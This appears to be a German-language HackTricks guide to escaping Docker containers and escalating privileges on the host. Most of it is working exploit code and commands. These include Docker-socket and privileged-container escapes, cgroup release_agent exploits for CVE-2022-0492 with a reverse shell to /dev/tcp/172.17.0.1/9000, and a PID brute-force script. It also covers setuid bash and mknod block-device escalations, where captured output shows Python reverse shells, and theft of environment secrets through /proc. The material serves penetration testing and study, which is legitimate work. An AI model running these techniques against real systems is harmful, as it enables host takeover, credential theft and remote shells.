Docker Breakout / Privilege Escalation

Reading time: 20 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Automatische Enumeration & Escape

  • linpeas: Es kann auch Container enumerieren
  • CDK: Dieses Tool ist ziemlich nützlich, um den Container, in dem Sie sich befinden, zu enumerieren und sogar automatisch zu versuchen, zu entkommen
  • amicontained: Nützliches Tool, um die Berechtigungen zu erhalten, die der Container hat, um Wege zu finden, daraus zu entkommen
  • deepce: Tool zur Enumeration und zum Entkommen aus Containern
  • grype: Erhalten Sie die CVEs, die in der Software enthalten sind, die im Image installiert ist

Escape vom gemounteten Docker Socket

Wenn Sie irgendwie feststellen, dass der Docker-Socket gemountet ist innerhalb des Docker-Containers, werden Sie in der Lage sein, daraus zu entkommen.
Dies geschieht normalerweise in Docker-Containern, die aus irgendeinem Grund eine Verbindung zum Docker-Daemon herstellen müssen, um Aktionen auszuführen.

bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

In diesem Fall können Sie reguläre Docker-Befehle verwenden, um mit dem Docker-Daemon zu kommunizieren:

bash
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

note

Falls der Docker-Socket an einem unerwarteten Ort ist, können Sie dennoch mit ihm kommunizieren, indem Sie den docker Befehl mit dem Parameter -H unix:///path/to/docker.sock verwenden.

Der Docker-Daemon könnte auch an einem Port (standardmäßig 2375, 2376) lauschen oder auf Systemd-basierten Systemen kann die Kommunikation mit dem Docker-Daemon über den Systemd-Socket fd:// erfolgen.

note

Achten Sie außerdem auf die Laufzeitsockets anderer hochrangiger Laufzeiten:

  • dockershim: unix:///var/run/dockershim.sock
  • containerd: unix:///run/containerd/containerd.sock
  • cri-o: unix:///var/run/crio/crio.sock
  • frakti: unix:///var/run/frakti.sock
  • rktlet: unix:///var/run/rktlet.sock
  • ...

Missbrauch von Berechtigungen zur Umgehung

Sie sollten die Berechtigungen des Containers überprüfen. Wenn er eine der folgenden Berechtigungen hat, könnten Sie möglicherweise daraus entkommen: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

Sie können die aktuellen Container-Berechtigungen mit den zuvor erwähnten automatischen Tools oder:

bash
capsh --print

Auf der folgenden Seite können Sie mehr über Linux-Fähigkeiten erfahren und wie man sie missbraucht, um Privilegien zu entkommen/eskalieren:

Linux Capabilities

Ausbruch aus privilegierten Containern

Ein privilegierter Container kann mit dem Flag --privileged oder durch Deaktivierung spezifischer Abwehrmaßnahmen erstellt werden:

  • --cap-add=ALL
  • --security-opt apparmor=unconfined
  • --security-opt seccomp=unconfined
  • --security-opt label:disable
  • --pid=host
  • --userns=host
  • --uts=host
  • --cgroupns=host
  • Mount /dev

Das Flag --privileged senkt die Sicherheit des Containers erheblich und bietet uneingeschränkten Gerätezugriff und umgeht mehrere Schutzmaßnahmen. Für eine detaillierte Aufschlüsselung siehe die Dokumentation zu den vollständigen Auswirkungen von --privileged.

Docker --privileged

Privilegiert + hostPID

Mit diesen Berechtigungen können Sie einfach in den Namensraum eines Prozesses wechseln, der als Root im Host läuft, wie init (pid:1), indem Sie einfach ausführen: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Testen Sie es in einem Container, indem Sie ausführen:

bash
docker run --rm -it --pid=host --privileged ubuntu bash

Privilegiert

Nur mit dem privilegierten Flag kannst du versuchen, auf die Festplatte des Hosts zuzugreifen oder zu versuchen, durch die Ausnutzung von release_agent oder anderen Ausbrüchen zu entkommen.

Teste die folgenden Umgehungen in einem Container, indem du ausführst:

bash
docker run --rm -it --privileged ubuntu bash

Mounting Disk - Poc1

Gut konfigurierte Docker-Container erlauben keine Befehle wie fdisk -l. Bei falsch konfigurierten Docker-Befehlen, bei denen das Flag --privileged oder --device=/dev/sda1 mit Großbuchstaben angegeben ist, ist es möglich, die Berechtigungen zu erhalten, um das Host-Laufwerk zu sehen.

Um die Host-Maschine zu übernehmen, ist es trivial:

bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

Und voilà! Sie können jetzt auf das Dateisystem des Hosts zugreifen, da es im /mnt/hola-Ordner gemountet ist.

Mounting Disk - Poc2

Innerhalb des Containers kann ein Angreifer versuchen, weiteren Zugriff auf das zugrunde liegende Host-OS über ein beschreibbares hostPath-Volume zu erhalten, das vom Cluster erstellt wurde. Im Folgenden sind einige gängige Dinge aufgeführt, die Sie innerhalb des Containers überprüfen können, um zu sehen, ob Sie diesen Angreifer-Vektor nutzen können:

bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Privilegierte Eskalation durch Ausnutzung des vorhandenen release_agent (cve-2022-0492) - PoC1

Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

Privilegierte Escalation durch Ausnutzung von created release_agent (cve-2022-0492) - PoC2

Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Finden Sie eine Erklärung der Technik in:

Docker release_agent cgroups escape

Privilegierte Eskalation durch Missbrauch von release_agent ohne den relativen Pfad zu kennen - PoC3

In den vorherigen Exploits wird der absolute Pfad des Containers im Dateisystem des Hosts offengelegt. Dies ist jedoch nicht immer der Fall. In Fällen, in denen Sie den absoluten Pfad des Containers im Host nicht kennen, können Sie diese Technik verwenden:

release_agent exploit - Relative Paths to PIDs

bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Die Ausführung des PoC innerhalb eines privilegierten Containers sollte eine ähnliche Ausgabe wie folgt liefern:

bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Privilegierte Eskalation durch Ausnutzung sensibler Mounts

Es gibt mehrere Dateien, die möglicherweise gemountet sind und Informationen über den zugrunde liegenden Host geben. Einige von ihnen können sogar etwas anzeigen, das vom Host ausgeführt werden soll, wenn etwas passiert (was einem Angreifer ermöglichen wird, aus dem Container auszubrechen).
Der Missbrauch dieser Dateien kann Folgendes ermöglichen:

Sie können jedoch andere sensible Dateien finden, die Sie auf dieser Seite überprüfen können:

Sensitive Mounts

Arbiträre Mounts

In mehreren Fällen werden Sie feststellen, dass der Container ein Volume vom Host gemountet hat. Wenn dieses Volume nicht korrekt konfiguriert wurde, könnten Sie in der Lage sein, sensible Daten zuzugreifen/zu ändern: Geheimnisse lesen, ssh authorized_keys ändern…

bash
docker run --rm -it -v /:/host ubuntu bash

Privilegieneskalation mit 2 Shells und Host-Mount

Wenn Sie als root innerhalb eines Containers Zugriff haben, der einen Ordner vom Host gemountet hat, und Sie als nicht privilegierter Benutzer auf den Host entkommen sind und Lesezugriff auf den gemounteten Ordner haben.
Sie können eine bash suid-Datei im gemounteten Ordner innerhalb des Containers erstellen und sie vom Host ausführen, um Privilegien zu eskalieren.

bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

Privilegieneskalation mit 2 Shells

Wenn Sie als root innerhalb eines Containers Zugriff haben und als nicht privilegierter Benutzer zum Host entkommen sind, können Sie beide Shells missbrauchen, um Privesc innerhalb des Hosts durchzuführen, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden), wie in diesem Beitrag erklärt.
Mit dieser Fähigkeit darf der root-Benutzer innerhalb des Containers Blockgerätedateien erstellen. Gerätedateien sind spezielle Dateien, die verwendet werden, um auf zugrunde liegende Hardware & Kernelmodule zuzugreifen. Zum Beispiel ermöglicht die Blockgerätedatei /dev/sda den Zugriff auf die Rohdaten auf der Festplatte des Systems.

Docker schützt vor dem Missbrauch von Blockgeräten innerhalb von Containern, indem eine cgroup-Richtlinie durchgesetzt wird, die Lese-/Schreiboperationen auf Blockgeräten blockiert. Dennoch, wenn ein Blockgerät innerhalb des Containers erstellt wird, wird es über das Verzeichnis /proc/PID/root/ von außerhalb des Containers zugänglich. Dieser Zugriff erfordert, dass der Prozessbesitzer sowohl innerhalb als auch außerhalb des Containers derselbe ist.

Exploitation Beispiel aus diesem Writeup:

bash
# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
bash
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

Wenn Sie auf die Prozesse des Hosts zugreifen können, werden Sie in der Lage sein, viele sensible Informationen, die in diesen Prozessen gespeichert sind, abzurufen. Führen Sie das Testlabor aus:

docker run --rm -it --pid=host ubuntu bash

Zum Beispiel können Sie die Prozesse mit etwas wie ps auxn auflisten und nach sensiblen Details in den Befehlen suchen.

Dann, da Sie auf jeden Prozess des Hosts in /proc/ zugreifen können, können Sie einfach deren Umgebungsgeheimnisse stehlen, indem Sie Folgendes ausführen:

bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

Sie können auch auf die Dateideskriptoren anderer Prozesse zugreifen und deren geöffnete Dateien lesen:

bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

Sie können auch Prozesse beenden und einen DoS verursachen.

warning

Wenn Sie irgendwie privilegierten Zugriff auf einen Prozess außerhalb des Containers haben, könnten Sie etwas wie nsenter --target <pid> --all oder nsenter --target <pid> --mount --net --pid --cgroup ausführen, um eine Shell mit den gleichen ns-Beschränkungen (hoffentlich keine) wie dieser Prozess auszuführen.

hostNetwork

docker run --rm -it --network=host ubuntu bash

Wenn ein Container mit dem Docker Host-Netzwerk-Driver (--network=host) konfiguriert wurde, ist der Netzwerk-Stack dieses Containers nicht vom Docker-Host isoliert (der Container teilt sich den Netzwerk-Namespace des Hosts), und der Container erhält keine eigene IP-Adresse. Mit anderen Worten, der Container bindet alle Dienste direkt an die IP des Hosts. Darüber hinaus kann der Container ALLE Netzwerkverkehr abfangen, den der Host über die gemeinsame Schnittstelle sendet und empfängt tcpdump -i eth0.

Zum Beispiel können Sie dies verwenden, um Verkehr abzuhören und sogar zu fälschen zwischen Host und Metadateninstanz.

Wie in den folgenden Beispielen:

Sie werden auch in der Lage sein, Netzwerkdienste, die an localhost gebunden sind, innerhalb des Hosts zuzugreifen oder sogar die Metadatenberechtigungen des Knotens zuzugreifen (die möglicherweise anders sind als die, auf die ein Container zugreifen kann).

hostIPC

bash
docker run --rm -it --ipc=host ubuntu bash

Mit hostIPC=true erhalten Sie Zugriff auf die interprozessuale Kommunikation (IPC) Ressourcen des Hosts, wie z.B. gemeinsamen Speicher in /dev/shm. Dies ermöglicht das Lesen/Schreiben, wo dieselben IPC-Ressourcen von anderen Host- oder Pod-Prozessen verwendet werden. Verwenden Sie ipcs, um diese IPC-Mechanismen weiter zu inspizieren.

  • Untersuchen Sie /dev/shm - Suchen Sie nach Dateien in diesem gemeinsamen Speicherort: ls -la /dev/shm
  • Überprüfen Sie vorhandene IPC-Einrichtungen – Sie können überprüfen, ob IPC-Einrichtungen verwendet werden mit /usr/bin/ipcs. Überprüfen Sie es mit: ipcs -a

Fähigkeiten wiederherstellen

Wenn der Syscall unshare nicht verboten ist, können Sie alle Fähigkeiten wiederherstellen, indem Sie:

bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

Die zweite Technik, die im Beitrag https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ erklärt wird, zeigt, wie man Bind-Mounts mit Benutzer-Namensräumen missbrauchen kann, um Dateien im Host zu beeinflussen (in diesem speziellen Fall, um Dateien zu löschen).

CVEs

Runc-Exploit (CVE-2019-5736)

Falls Sie docker exec als root ausführen können (wahrscheinlich mit sudo), versuchen Sie, die Berechtigungen zu eskalieren, indem Sie aus einem Container unter Ausnutzung von CVE-2019-5736 entkommen (Exploit hier). Diese Technik wird im Wesentlichen die /bin/sh Binärdatei des Hosts aus einem Container überschreiben, sodass jeder, der docker exec ausführt, die Payload auslösen kann.

Ändern Sie die Payload entsprechend und bauen Sie die main.go mit go build main.go. Die resultierende Binärdatei sollte im Docker-Container zur Ausführung platziert werden.
Bei der Ausführung, sobald es [+] Overwritten /bin/sh successfully anzeigt, müssen Sie Folgendes von der Host-Maschine aus ausführen:

docker exec -it <container-name> /bin/sh

Dies wird die Payload auslösen, die in der main.go-Datei vorhanden ist.

Für weitere Informationen: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

note

Es gibt andere CVEs, für die der Container anfällig sein kann, eine Liste finden Sie unter https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Docker Custom Escape

Docker Escape Surface

  • Namespaces: Der Prozess sollte vollständig von anderen Prozessen getrennt sein über Namespaces, sodass wir nicht mit anderen Prozessen interagieren können aufgrund von Namespaces (standardmäßig kann nicht über IPCs, Unix-Sockets, Netzwerkdienste, D-Bus, /proc anderer Prozesse kommuniziert werden).
  • Root-Benutzer: Standardmäßig ist der Benutzer, der den Prozess ausführt, der Root-Benutzer (seine Berechtigungen sind jedoch eingeschränkt).
  • Fähigkeiten: Docker lässt die folgenden Fähigkeiten zu: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
  • Syscalls: Dies sind die Syscalls, die der Root-Benutzer nicht aufrufen kann (aufgrund fehlender Fähigkeiten + Seccomp). Die anderen Syscalls könnten verwendet werden, um zu versuchen, zu entkommen.
{{#tab name="x64 syscalls"}}
yaml
0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

{{#endtab}}

{{#tab name="arm64 syscalls"}}

0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

{{#endtab}}

{{#tab name="syscall_bf.c"}}

`c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```